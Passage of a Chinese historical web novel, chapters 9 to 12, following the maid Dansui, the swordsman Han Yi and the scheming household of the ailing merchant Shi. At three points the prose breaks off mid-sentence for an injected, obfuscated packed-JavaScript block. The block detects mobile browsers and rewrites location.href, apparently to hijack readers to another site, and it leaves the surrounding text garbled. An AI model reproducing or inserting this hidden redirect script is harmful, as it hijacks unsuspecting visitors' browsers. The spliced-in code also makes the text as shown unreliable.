罗汉床上,顶着松散发髻的老头挥着拳头捶头,嘴里跟着啊啊叫,就是醒不过来。韩乙俯身时对上布满老年斑的脸,劈下的手不自觉加重三分力道。 屋里又安静下来,韩乙转过身,发现丹穗一脸好奇地盯着他。他多盯她两瞬才移开目光,真是个奇人,伺候老的,应付小的,摊上一身糟心事,她好似无事人一般。 “瞅什么?”他好奇她在琢磨什么。 “三娘怎么气冲冲地走了?你跟她吵起来了?你可小心,她这人非常记仇。”丹穗说。 “她嫁人了?”见丹穗点头,他纳闷道:“她婆家知道她这个德性?还是只在娘家如此?” “她知道分寸,只惦记不偷。”丹穗说,施三娘看着是个鲁莽的,实则心有成算,能做的大胆做,不能做的一点不碰。施三娘的男人常年不在家,她守在家里听戏捧粉头过过瘾,她婆家就是有意见,顾及施家也不会闹大。 韩乙皱眉,思及这些天来伺候施老爷的姨娘们,天天不重样,他心想真是开眼了,这施家都是些什么人,蛇鼠一窝。 “韩大侠,你来这么些天也没见你出过门,平江府没你的亲人了?”丹穗故作闲聊。 “没了,我无亲无故无挂念。”韩乙在圈椅上坐下,他朝床上看一眼,问:“等他死了,你怎么办?” “还在施园待着呗。” “还当下人?不如趁他活着,你朝他讨个名头,当个老姨娘也有下人伺候。”韩乙给她出主意。 丹穗一笑,“老姨娘要伺候主母的,惹人不高兴该发卖还是发卖。” 韩乙替她叹一声,“你要是个男人就好了,以你的本事,说不定在官场上还能有一番作为……不过现在想要做个好官也不会长命。” “是可惜。”丹穗顺着他的话说,“我要是个男人,以我这个年纪也娶妻生子了。韩大侠,你应当大我几岁,妻儿……不在了?” 韩乙心里发毛,以他行走江湖的经验,如此试探不是试图做媒的,就是对方对他有意。 “抱歉,问到你的伤心事了。”在他探究的目光下,丹穗抱歉一笑。 “没有,我没妻儿,也没成家,此生更不会成家。”拿不准她的意图,不耽误韩乙把话说明白。他漂泊不定,是不会落地生根的种子,说不定哪天就没命了,娶妻生子纯属害人。而他也绝不会像他爹一样处处留情,有了孩子再带走孩子,看似负责,实则把孩子当猪狗养,最后死在亲儿子手上。 “我在一个地方最多只待半年,你说我能娶妻生子吗?”韩乙递话给她。 “真羡慕你。”丹穗眼里的落寞快要溢出来了,她下意识看向窗外,却忘了窗子关上了。 9.生活在圈套里 施老爷睡熟了,韩乙如往常一样离开了,只余丹穗沉默地坐在床边,眼神空洞地盯着大幅屏风。 天色一点一点暗下来,屋里越发昏暗,陆承从外面进来眼前一黑,他适应了好一会儿才模糊看清屋里家具的轮廓,以及床边一动不动的身影。 “丹穗?”陆承没敢进去,他站在门内试探着喊一声。 丹穗回神,“二爷?” “你睡着了?吓我一跳!”陆承松口气,她刚刚毫无反应的样子真像是死了。 “我爹还在睡?睡到这会儿夜里还睡得着?”他上前问,“你把他喊醒,家里今晚置了家宴,请他过去一起用饭。 ” 丹穗点燃烛台上的蜡烛,烛光刺得她想要掉眼泪,她这才清醒过来,心里不免发慌,施老爷今天睡得太久了,算起来得有四个时辰。 “老爷,老爷,醒醒——” 施老爷支吾两声,丹穗轻吁一口气,她扶施老爷坐起来,轻声说:“午后二少爷一家和三小姐回来了,太太准备了家宴,您去不去用饭?这不,二爷来请您了。” “爹,您也过去热闹热闹吧。”陆承开口。 “三娘回来了?你妹夫也来了?”施老爷问。 “说是要过来,还没来,估计手上的事还没忙完。” “行,我待会儿过去。”施老爷决定露面。 陆承得到答复离开,他还没走出月亮门,丹穗追出来说:“二爷,老爷问太太有没有请戏班子,要是没请就打发人去请几个唱曲的。” “好,我这就去安排。” 待陆承走远,丹穗吩咐宝柱去抬水,“让人端几个炭盆来,老爷要洗澡。” 为了迎接女婿,施老爷从头洗到脚,里里外外换上干净衣裳。等他走出门已月上中天,朱氏都打发人来探第三遍了。 因是家宴,宴席置在主院,朱氏所住的走马楼里灯火通明,厅里院外挂满了灯笼,丫鬟婆子们忙碌地穿梭其中。 海棠门内,两个名伶抱着琵琶和古筝坐在临时搭筑的戏台上拨弄琴弦,施三娘披着斗篷坐在离戏台最近的地方,目光落在垂首拨古筝的乐官身上。 丹穗认出拨古筝的名伶是三春班的台柱子柳生,她在大厅里看一圈,果然在朱氏身后看见安翠儿安姨娘,她是柳生的戏迷,每逢家里请戏班子,有柳生的地方必有她。 “爹来了。”陈氏起身。 “爹,你可算来了,再晚一会儿我都要睡着了。”施三娘抱怨。 “你可舍不得睡。”施老爷笑呵呵地说,他也清楚这个女儿的德性。 “爹,我没去前院见您,您可别见怪。我刚从酒桌上下来,我丈母娘心疼我,把我按在这里喝汤暖胃。”贾释道迎上来说。 丹穗松开扶施老爷的手,她落后两步让开位置。 “不见怪,你去了我也没空见你。”施老爷往厅里走,随口问:“你哪天回来的?路上可碰到你大哥?” “回来上十天了,没碰到继之,倒是听过他的消息,他越过临安北上了。”贾释道说。 贾家以船行发家,到了这代,贾家子孙也接触生丝、药材、粮食生意。在生丝生意上,贾施两家有合作,当年谋划合作时,贾释道作为晚辈携礼登门,被施老爷看中招为女婿。 “今年生意难做,生丝涨价,绸缎却难销,为了不积压,他只能冒险往北走。”施老爷说,“你今年还出去吗?” “不出。待会儿用过饭我跟您去前院一趟。” “行。”施老爷点头,他看向朱氏,说:“人都到齐了?摆饭吧。” 候在门外听令的下人闻言一溜烟跑开,紧跟着,源源不断的佳肴从大厨房那边送过来。 丹穗站在施老爷身侧伺候,安翠儿站在朱氏旁边,但朱氏嫌她一副妖妖娆娆的样子碍眼,一挥手把她打发了。 安翠儿兴高采烈地溜到戏台旁边,灯火太亮,她只能老老实实坐在台下看着。 “你也下去用饭吧,这儿不用你伺候。”施老爷胃口不好,喝一碗汤就饱了,他打发丹穗下去吃饭。 “再加个座,让丹穗也坐下吃。”施三娘开口,“丹穗在我们家长大,幼时跟我念过一本书,如今又替我们照顾我爹,早就不是下人了。” “我去大厨房……” “再加个座。”陆承出声。 “那就加个座。”朱氏发话,她拿帕子擦下嘴,笑着说:“丹穗,我们不拿你当外人,为的就是让你好好照顾老爷,之前的事就不追究了,以后可不能再跟老爷怄气,否则老爷不罚你我也要罚你的。” “我也听下人说了,到底为什么事怄气?”施六娘接话。 她们母女三个一唱一和,在座的其他人都看向丹穗。 丹穗吁口气,她就知道宴无好宴。 “吃饭吧,不该打听的别打听。”施老爷发话,私底下他能怀疑丹穗偷男人,摆到台面上来了,丢脸的是他。 施三娘翻个白眼,她挟一口菜吃,嘟囔说:“什么叫不该打听?我们也是关心你。” “你作为女儿就不该打听你老子房里的事。”施老爷告诫她,他瞪朱氏一眼,这就是她教出来的两个好女儿。 朱氏顿时没胃口了,她剜丹穗一眼,见她又戳着筷子坐那儿装可怜,她恨不得扇她一嘴巴。 大奶奶陈氏坐在贾释道对面,清楚地看见他的目光往丹穗身上瞟,她心里发笑,这一桌真够热闹的。 一顿心思各异的晚宴结束,施三娘说她要留下住几天,让贾释道自己回去。 贾释道随施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167356|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老爷去前院,走时说:“你要回去的时候派下人传个话,我过来接你。” 朱氏和施老爷对他的态度很是满意。 “夜深了,晚上住这儿也行。”施老爷说。 “明早要去城南,我从家里出发近些,今晚回去,明早能多睡会儿。”话落,贾释道朝拐角的窄巷看去,再看丹穗毫无所觉,他心想莫不是他喝多眼花了?他怎么看见那个柳生钻进另一座走马楼里了。 “北方逃来的难民多,城里入夜了不安全,待会儿我让我家新来的护院送你回去。”施老爷说。 进了石园,施老爷便打发丹穗去叫韩乙过来。 丹穗立即明白这是不让她听的意思,她立马离开。 一盏茶后,丹穗见议事堂的门打开,她迅速去护卫院喊韩大侠。 “韩义士,这是贾氏船行五爷,也是我三女婿,你送他回去。”施老爷吩咐,“丹穗,你替我送送。” 贾释道是乘船来的,船停在埠口,丹穗送客到后门,正好遇上三春班的乐师也要离开,对方避让时,她在一位乐师身上闻到一股淡淡的香,巧的是她今天在施三娘身上也闻到这个味。 韩乙的步子一顿,他瞅一眼抱着古筝的乐师,又玩味地看一眼晃晃悠悠走在前方的男人。 “丹穗姑娘请留步,就送到这儿吧。”贾释道猛地停下步子,他伸手挡一下丹穗的肩膀,手掌一触即离,他郑重地说:“辛苦你照顾老爷,病重的人脾气急,还望你能体谅。” “姑爷言重了,这是我该做的。”丹穗不着痕迹地退一步,避开喷在脸上的酒气。 “走吧,我回来还要给施老爷守夜,耽误不得。”韩乙长腿一迈,步履稳健地上船。 贾释道又看丹穗一眼,这才扶着船夫的胳膊登船。 丹穗提着灯笼目送船离岸,却不知船上有道目光目送她袅袅回圜,贾释道摸着下巴意犹未尽地回味,论调教女人,还是他老丈人了得。他模糊记得头一次见丹穗的时候,施老爷带她出门谈生意,那时她一身的傲气,一派天真,在茶桌上卖弄她过目不忘的本事供人取乐却不自知,更傻的是施老爷满眼都是对她的觊觎,她待他却是满心满眼的敬仰,真是傻得可怜又可爱。 后来再见面,施老爷已经得手了,她眼里的天真和敬仰没了,傲气却没消失,只是依旧犯蠢,没名没分地伺候老头子,还替他打理账务。 贾释道亲眼目睹丹穗一点一点转变,旁观她被撕扯掉她幻想中的翅膀,看她摇摇欲坠站在悬崖峭壁上,却挺着她引以为傲的傲骨不肯回头,勾得伪君子打着拯救的旗号想要圈养她,引得真小人想推她一把,却一直犹豫要不要摧毁她。 “龚叔,你留着意,今晚韩大侠还会回来,你记得给他开门。”丹穗跟门房交代。 10.不自知 施三娘哼着曲慢悠悠地跨进海棠门,一进门发现下人在拆戏台,她一改餍足的模样,呵斥道:“谁让你们拆的?多事,怎么拆的怎么给我搭起来。” “你去哪儿了?”朱氏一拍桌子,她拉着脸问:“还搭戏台做什么?你还要请戏班子来?” “娘,你还没睡啊?” “你去哪儿了?” “送你女婿去了。”施三娘无趣地说,她掸掸发皱的前襟,说:“我累了,上楼休息去了。” “你……”朱氏气得胸口剧烈起伏。 施三娘错眼看一下,她笑一声,施施然朝客厅的右边走去,一扇折页木门后是通往阁楼的楼梯。 “太太,戏台还拆吗?”薛大娘问。 “谁敢拆明儿等着我来拆他骨头。”声音从楼梯上传来。 薛大娘腰一弯,她不吭声了,这个姑奶奶可不是个好脾气的人,真得罪了她,她可不看你是谁的人,丝毫不给面子。 朱氏起身往楼上去,她追到施三娘的房里,告诫说:“三娘,你给我收敛点,你得清楚你的身份,你是贾家的媳妇,是你孩子的娘,你要是不检点,最后受罪的是你跟孩子。” “行了行了,你少管我的事,施家的事还不够你操心的。”施三娘懒得听那老一套。 朱氏眼里闪过一丝厌恶,她这个女儿在这方面跟她爹简直是一个德性,白瞎她读的那些圣贤书。 “娘,你回屋吧,我要休息了。”施三娘打发人。 朱氏看她这副死猪不怕开水烫的样子,也懒得再费口水,一扭身走了。 丫鬟翡绿在朱氏回屋后闪身进来,施三娘见是她,她坐直问:“没让人发现你吧?” “没有,不过我回来的时候瞧见安姨娘缠着柳生往后门去了。” “不管她。”施三娘摆手,她自己都是偷腥的人,哪会管别人偷不偷腥。 “姐,你睡了吗?”施六娘脚步轻盈地跑来,她跑到门口探头问:“姐,我今晚能跟你睡吗?” “想我了?进来。”施三娘挥手让翡绿出去,说:“在门外守着。” 屋里只剩姐妹俩了,施六娘挤到施三娘身边窃窃问:“姐,姐夫跟爹离开后,你是不是去夜会柳生了?” 施三娘拍她一下,训斥道:“胡说八道,又是娘在你身边啰嗦了?” 施六娘嘻嘻一笑。 施三娘暗恼,她埋怨说:“娘还是这样子,心里也没点数,该说不该说的都往外倒,也不论个对象。我没出嫁的时候天天听她骂姨娘骂爹,我出嫁了,她又逮着你诉苦,她把我们姐妹俩都害了算了。” “我还挺喜欢听这事的。”施六娘说。 “你还不到知晓这些事的年纪,你这个年纪就该踢踢毽子翻翻书,去花园掐花喂鱼,隔三差五出门访友。”施三娘比施六娘大八岁,这个妹妹是她看着长大的,算是半个女儿。她忍不住替她打算,问:“娘在跟你操心婚事吗?这半年有没有媒人上门?” “来过两个,娘没看上,两家都不如贾家,娘打算让爹给我择个夫家。”施六娘实打实地说。 施三娘捂头,她无奈地说:“我才回来半天都知道爹如今一发病就要昏睡半天,他哪有精力替你操心这事。你俩真够心大心贪的,平江府有几个贾家?算了,你跟娘就坐楼上等着吧,等爹去世,你守三年孝就知道急了。” 施六娘这会儿已经急了,就当她爹今年去世,她守完三年孝已满十七岁,跟她差不多年纪,家世还差不多的小子八成都定下婚事了。 “姐,要不你跟爹说说?”施六娘戳戳她姐的胳膊,她凑施三娘耳边嘀咕说:“娘眼下无心操持我的事,她的心思都在丹穗身上,她想收买丹穗,从她手上拿走爹攒下的私钱。” 施三娘撇一下嘴,“丹穗又不是傻的,怎么可能倒向她。她叫我回来就是为了这事吧?” “对,娘拿丹穗没办法了,而且大哥也快回来了,她心急得不得了。”施六娘把她知道的事通通倒出来。 施三娘八风不动,她嘱咐妹妹别掺合这事,“你的嫁妆早有定数,就是爹死了,大哥也不会克扣你的嫁妆钱。说句难听的,你以后就是被休了,你的嫁妆也够你好吃好喝到老。娘眼下火急火燎地扒钱,都是为了补贴二哥。爹活着,二哥的铺子不愁不赚钱,等爹死了,大哥还会一文不赚地给他供货?她心里也有数。” 施三娘心里门清,她是姓施的,不是姓陆的,她怎么都不可能挖施家的金砖去铺陆家的地。更何况世上没有不漏风的墙,日后施继之知道这个事,她岂不是得罪她的靠山。 “今晚是不是娘让你过来打探口风的?”施三娘问。 施六娘点头,她彻底服气了,难怪她娘说她姐聪慧有主意,比她强的不是一星半点。 “娘那边你糊弄着,她要问你就说跟我说过了,再问就说不知道。”施三娘帮她想招,“好了,去床上睡吧,我来洗漱。” 翡绿在门外守着,听到开门声,她走上前问:“五奶奶,可要提水上来?” “嗯,去吧。”施三娘走出门长吁一口气,廊道里每一扇窗都关着,为了挡风还垂着帘子,她觉得憋闷,走上前推开一扇窗,人也走到窗边居高临下地远眺。 前院石园里灯火通明,看样子她爹还没歇下。 宝柱打个哈欠,他靠在墙上昏昏欲睡。 “施老爷还没睡?” 猛不丁听见说话声,宝柱吓得一哆嗦,一睁眼发现人就站在他跟前,他魂不附体地说:“韩大侠,你走路怎么没个声响。” 韩乙懒得理他,他见议事堂的窗户上映着两个对坐的人影,他大步走进去敲门:“今晚还要我守夜吗?” “进来。”施老爷头也不抬地说,他落下一个棋子,问:“人送到家了?” “嗯,看他进门我才回来的。”韩乙朝棋盘上扫一眼,瞥见两根纤长的手指夹着一颗白色棋子在棋盘上落定。 “会下棋吗?”施老爷问。 “不会。” “可惜了。”施老爷眯眼盯着棋盘,黑子在他手上盘了又盘,迟迟落不下去。 “大势已去,老爷你无力回天。”丹穗得意地说。 施老爷轻笑一声,手上的棋子滑回棋罐里,他摇头说:“我老了,精力不济,等你大爷回来,让他替我找回场子。” 他大势已去,却非无力回天,他有儿子来接替他执棋的位置。 “韩义士,两天后你跟丹穗陪我去商会一趟,我们坐船过去,那天我要是发病了,你俩一定要带我回到船上,不能让我当众失态。”施老爷说,“当天若是发病的时机不对,让人看出我离开的原因,肯定会有人阻拦,你俩得有充足的借口带走我。” 韩乙皱眉,“什么充足的理由能让你一走就是三四个时辰?不能不去?” “不能不去。”施老爷回答,“你私下跟丹穗对对词,演练一下。” 丹穗挑眼看他,又不担心她看上刀客了? “好好琢磨,到时候要是出纰漏了,你可要受罚。”施老爷笑着告诫她,“行了,这两晚不要你们守夜,让管家安排个伺候的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174290|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来,夜里无事不会惊扰你们。” 丹穗立马下榻穿鞋,她毫不留恋地离开。 施老爷也不气,他倚在靠枕上,跟韩乙说:“瞧我把她惯的,不知尊卑,换在别人家,早被打死了。” 韩乙下意识对反感这句话,想要说什么又没立场,只能一言不发地转过身也选择离开。 虽没表态,不高兴的情绪却很明显。 “总有不知所谓的人来惦记我的东西,真让人生气。”施老爷垮着脸自言自语,他思量一番,生出赶走韩乙的心思,但又不甘心,他不想承认他施家的财富比不上一张俊俏的脸,也不愿意假定他施寅会培养出一个感情用事的手下。 “老爷,我爹安排小的来守夜。”门外,王管家的二儿子出声。 “怎么安排你小子来了?”施老爷回神,“我记得你会下棋,来,我俩下一局。” 三局三胜,施老爷心情好了起来,胸中又涌现好胜心,他踌躇满志地想赶走韩乙还会有韩甲韩丙韩丁,与其疑心不断,不如驯化猎物,他要把丹穗乖乖顺顺地交到儿子手里。 施老爷琢磨了半夜,到三更天才睡过去,一直睡到第二天的晌午才醒。 丹穗得了半天的空闲,她悠哉悠哉地钻去主院看唱戏的,一副不记得昨夜里发生啥事的样子,留韩乙在议事堂里愁得不轻。 “太太,老爷派我过来送些东西。”王管家的二儿子王信春抱着几个匣子走进主院。 “老爷醒了?”丹穗起身准备回前院。 “不清楚,这是老爷昨夜吩咐的。丹穗姑娘,这是老爷吩咐给你的。”王信春回答,同时递出一个巴掌大的红木匣子。 朱氏的目光落在丹穗手上,她示意薛大娘接过匣子,薛大娘拿到手就把匣子打开,还想拿丹穗手上的,没能得手。 “老爷昨夜想起库房还存了些成色不错的首饰,吩咐我拿给太太,说是给小姐们的妆奁箱里添些珠玉,挑剩下的由太太做主赏给姨娘们。”王信春解释。 三个匣子先后打开摆在桌上,金银珠玉映入眼帘,旁观的丫鬟婆子们惊呼出声,姨娘们个个脸上放光,但凡是个人,就没有不爱这东西的。 施三娘扫一眼,拿个镶嵌着红玛瑙的金臂钏戴手腕上,她抬起胳膊看看,满意地说:“还是我爹大方,拿这么多好东西让我们选,他昨夜遇到什么高兴的事了?” 在场的人一致想到丹穗,她们朝丹穗站的方向看去,却发现她不知道什么时候溜走了。 丹穗攥着红木匣子回到石园,这个匣子拿在手上重量还不轻,她按捺住好奇心,走进议事堂才打开匣子。入眼的是一对玉镯,是和田玉,油润的淡青色,在昏暗的室内还能看出剔透的水色,至少能抵二百贯,她猜是让她随同去商会时戴的。这还差不多,让她干活得给甜头。 韩乙见她拿着玉镯喜不自胜,他无端想起头一次见她时映着红血线的眼圈,她肤色白,戴玉肯定好看。 内室传出咳嗽声,丹穗的好心情一落,不过不影响她迅速戴上玉镯,在她该得的好处上,她一向不情绪用事。 施老爷醒的有一会儿了,见她进来,他主动问:“拿到玉镯了?这下高兴了吧?” 丹穗一贯是尝到甜头就会反馈她的喜恶,她笑着点头,“戴在我手上很好看。” “嗯,我看到这对镯子头一个想到的就是你,我看看,跟我想的一样。韩义士呢?我还说送他一把刀,不知道他喜欢什么样的。” “不必了,我没打算换刀。”韩乙离开议事堂,他真是瞎操心半天。 11.长路漫漫 韩乙带着气离开石园,行至甬道,他的脚步慢了下来,他有些莫名,他在气什么?以丹穗姑娘的身份和处境,她收到主子送的玉镯不高高兴兴收下,难不成垮着脸拒绝? 思及此,他生的气便变得底气不足起来。 “韩大侠。”九姨娘从护卫院出来,迎头撞上刀客,她神色一变,眼里泄露出些慌张,她急切地问:“韩大侠在想什么?你什么时候回来的?怎么不进去?” 韩乙的思绪被打断,他放弃去想他这个反应的缘由,说:“这就进去。” “韩大侠回来了?老爷醒了?”李大夫脚步匆匆地从屋里出来,满眼探究地盯着韩乙的神色。 韩乙没心思说口水话,他撂下一句“想知道不会自己去看”就回屋了。 李大夫冲九姨娘点一下头,九姨娘恢复平和淡定的样子,脚步轻盈地离开了。 主院,施三娘得知施老爷醒了,她领着妹妹前来为收的礼道谢,顺带请他去走马楼跟她们一起用午饭。 “我不过去,就在这儿吃,以后也不用来叫我。”施老爷拒绝了,他如今只想落个耳边清净。 “您就是嫌我打扰你呗!我多长时间才回来一趟啊,您就一点不惦记我?”施三娘不高兴。 施老爷不为所动,“你回来有你娘陪着就行了,去吧。” 施三娘只能带着妹妹离开。 丹穗把她们姐妹俩送出议事堂就回屋了,“老爷,我午后要去二爷家里一趟,去安排一下后天的事,您这儿安排谁伺候?要不要喊两个姨娘来?” 施老爷一听继子的名字就皱眉,但事关他自己,他没有阻拦,而是让丹穗出门带上人。 “让王信春跟你一起去。”他说。 丹穗没意见,“您想让哪个姨娘来伺候?” “随你安排。你去找陆承做什么?他那个蠢蛋能帮上忙?” “不是要他帮忙,是要用上他的铺子,但我不清楚铺子的情况,所以要去问问情况。要是不合适,我再另寻法子。具体的就不说了,保准不让您掉面子。” 施老爷闻言不打听了,他满意地说:“我就知道你不会让我失望,可惜你不是个男人,你要是个小子,我定招你当女婿,家产分你一半。” 丹穗暗呸一声,大话谁不会说,还是这种成不了真的大话。 “丹穗姑娘,午饭送来了,现在可要摆上?”小玉领着送饭的小厮进来。 丹穗点头,留小玉在这儿伺候施老爷用饭,她出门着手安排她自己的事。 “去王管事家里找王信春,老爷安排他陪我出门一趟,让他吃完饭就过来,在埠口等着。”丹穗跟宝柱交代,说罢前往姨娘们居住的走马楼,她挑安翠儿安姨娘和古越古姨娘去前院伺候,这两个姨娘一个曾是花魁出身,一个曾是画舫上的歌姬,都是耐不住寂寞的性子。 安排妥当,丹穗去大厨房吃饭。 等她吃完饭去埠口,王信春已经在埠口等着了,船也安排好了。 “丹穗姑娘,我们去哪儿?”王信春问。 “去二爷家。”丹穗上船。 * 安翠儿探头探脑走进护卫院,院子里没人,李大夫住的屋关着门,不知道人在不在,她下意识放缓脚步,轻手轻脚靠近另一间开着窗的屋。 韩乙睁开眼,他朝外瞥一眼,听着脚步声越来越近,他心想莫不是丹穗姑娘来了? 安翠儿走上门前的石阶,刚要伸手推门,门从里面打开了。 韩乙脸色一变,“你要做什么?” 安翠儿淡定地收回手,没有被抓包的尴尬,她捋一下垂落的发丝,脚步又上前一步,随着身影动的还有眼睛,如纱似雾的眼神在男人脸上绕一圈,绕过他的肩头落进屋里。 “不请我进去坐坐吗?”她意味不明地扶一下腰。 韩乙厌恶地退一步,“你没事立马离开,不然我去告诉施老爷。” 安翠儿娇笑一声,“你还是喝奶的娃娃不成?多像要找娘告状的憨小子。” 她又上前一步,倚着门问:“你就不想快活快活?还是嫌我脏?你别怕,我不找你负责,别怕我缠上你。” “你找错人了。”韩乙动作利索地关上门。 乌灰色的木门猛地关上,安翠儿来不及后退,被扑了一脸灰。她呸呸几口,暗骂这男人不识趣,几天前她来伺候老东西的时候三番五次勾搭他,他不接茬,她今天都送上门了,他还把她拒之门外,莫非真是个正经人?这个念头一出现,安翠儿骂自己昏了头,世间就没有不好色不偷腥的男人。 李大夫睡眼惺忪地开门出来,“安姨娘?你找韩大侠?他不在屋里?你去老爷那儿看看。” “我就是从老爷那儿过来的。”安翠儿抬手拍门,“韩大侠,睡醒了吗?老爷喊你过去。” 韩乙无奈开门,他朝李大夫那边看一眼,只能跟安翠儿离开。 “韩大……” “你闭嘴。”韩乙不让她开口。 安翠儿才不听他的,她趁机说:“你是不是不喜欢我这样的?不应该啊,我可是成千上万个男人选出来的花魁,施老爷为得到我可是花了五千贯钱。” “五千贯?他可真有钱。”韩乙只听到了最后一句。 走进石园,安翠儿见施老爷在角亭里,她不再继续之前的话。 “你也知道怕?”韩乙冷哼。 安翠儿没接话。 “不用上来。”施老爷发话,他让古姨娘扶着走出角亭,说:“我的头开始疼了,跟我回屋。” 回到议事堂,韩乙熟练地劈晕施老爷,见两个姨娘忙着给他盖被子,他避出去坐着,然而刚落座就见安翠儿跟出来了。 “哪个想偷腥的女人不怕被她男人发现?他又没死,我肯定怕。”安翠儿回答他之前的话,她走到他跟前说:“不过他精力不济,一天十二个时辰,他能睡十个时辰,哪还有心思管束我们。再说只要你不说,他会知道?” 韩乙看向后一个出来的姨娘。 “我姓古,排行十三。”古越冲他浅笑一下,说:“大侠不必担心我多嘴,我理解安姐姐,我们都是苦命人,年纪轻轻就守了活寡,日日守在这座宅子里,一眼能看得见咽气的那天,实在没意思。” 韩乙眼皮直跳,又来一个? “你们知道我朝在跟胡虏打仗吗?”他忍不住问,“我从襄阳城过来,这一路遍地是吃不上饭的难民,你们嫌无趣的日子是他们做梦都求不来的。” “各人有各人的命,朝廷都管不了他们,我一个小女子又能做什么?”安翠儿顿觉扫兴,对他的性趣顿时没了八分。 古姨娘赞同地点头,她笑盈盈地打量他,戏谑道:“韩大侠不也避进平江城来施家过好日子了。” “是啊,能拎刀挥斧的人也没去杀胡虏,这不是跟我们姐妹俩坐这儿聊天嘛。”安翠儿笑着拍手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178470|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她嘲讽道:“韩大侠,你怎么没参军报国啊?依你的忠心和武艺,早晚能当个将军的,在施家当护院多屈才。” 韩乙起身要走,安翠儿和古越立马追上去阻拦。 “韩大侠,你要去哪儿?你不守着老爷了?”古越身姿轻盈地跳到门口,她展开两臂挡着门。 安翠儿则扯着他的衣摆,继续嘲讽说:“韩大侠,你这说不过就走的熊样真丢人,和尚讲经论道还论输赢呢,你要走也不是不行,给我们道个歉,我们就放你走。” “我道歉?”韩乙挥开她的手,他坐回去,说:“来,那就好好说道说道,你俩要是输了,不准再来骚扰我。” 安翠儿冲古越眨眨眼,这不就把人留下来了。 “对了,丹穗姑娘呢?”韩乙发现不对劲。 “她给老爷办事去了,她不像我们,是个不知兵连祸接只知道骚扰男人的浪荡人。”安翠儿阴阳怪气。 韩乙:…… * 丹穗回来时夕阳还没落,她走进石园听见议事堂里有说话声,其中一道声音是古姨娘的,她歌姬出身,声音悦耳动听,很有辨识度。 “在说什么?这么热闹?”丹穗出现在门口,她的目光在屋里绕一圈,见三人呈三角状对坐着,只差没挤在一起。 韩乙见她如见救星,他一介武夫,没读几本书,在口才上,压根不敌两个心有九窍、口舌伶俐的姨娘,被缠了小半天,要不是他嘴巴紧,老底都被套出来了。 “韩大侠挺喜欢跟你们聊天啊,他来这儿半个月了,我就没见他跟谁聊这么热闹过。”丹穗一脸兴味地说。 “不不不,没这回事。”韩乙趁机脱身,“那个,你回来了,这儿交给你盯着,我走了。” 他落荒而逃的样子太好笑,安翠儿顿觉解气。 丹穗进内室看一眼,施老爷还在睡,她走出来说:“你们可注意点,老爷的性子阴晴不定,被他逮着了,你俩不死也得脱层皮。” “没说什么不能说的话,韩大侠跟我们讲了些他行侠仗义的事。”安翠儿收了笑,她佩服道:“是个名副其实的大侠,差点冤枉他了。” 丹穗闻言垂下眼,事情按她预想中的发展,但她却不是很高兴,她害怕他会像施家的男人一样,表里不一,会成为罗裙下的瘾?君子。最恐惧他表里如一,但她不是那个“一”。 “明天我还要出门,老爷这儿还是你俩来伺候吧。”丹穗摁下顾虑,决定按计划进行。 “来个人。”施老爷转醒,他含糊出声:“丹穗回来了?” “回来了。”丹穗小跑进去。 两个姨娘也趁机进去露脸,她们在这儿守半天可不是白守的,出了力就得让主子知道。 伺候施老爷起床后,丹穗送两个姨娘出门。 一会儿的功夫,太阳就落山了,天边霞光万丈,天井下却晦暗如暮,点灯的下人扛着梯凳走进石园。 丹穗收回探出去的脚,她盯着八角灯笼一盏盏点亮,祈祷她的筹划也能如愿。她根据自己观察身边人的经验和博览群书的心得判断,不论男女都有救风尘的喜好,但对有能耐有本事的人来说,被救的人只弱小可怜还不够,还得有才或有貌,得给他们一种被救后会一飞冲天的期望。 她心里清楚,韩大侠对她有伸援手的意愿,但惮于兜底,他愿意助她离开施家,但不愿意担上负担她余生的责任。 唉,长路漫漫啊。 12.报丧 夜幕降临,韩乙洗漱后前往石园准备给施老爷守夜,靠近议事堂听见屋里有王管家的说话声,他停下步子靠石头上等着。 丹穗磨磨蹭蹭地收拾桌上的残羹,她竖起耳朵听王管家跟施老爷汇报田产相关的事。 “……城外涌来的难民越来越多,庄子上的佃农快要挡不住难民进村,庄头急着请您拿个主意。”王管事说。 “我能拿什么主意,让他报官。”施老爷不耐烦地说。 丹穗见谈话到了尾声,她提起食盒往外走,快出门时听见施老爷问佃农的租子收没收上来。 一粒石子掷在门前的石阶上,“叮”的一声响,丹穗抬起头,一眼看见倚在石雕上的男人,他站在灯火余晖的边缘,身影半明半昧。 “过来。”韩乙又朝她丢一颗石子,提醒她别发呆了。 丹穗提着食盒过去,她面朝着议事堂站着,问:“找我有事?” “后天带施老爷提前离场的借口想好了?”韩乙低头问。 王管家从议事堂出来,丹穗身影一闪,她拽着韩乙躲到石雕后面。 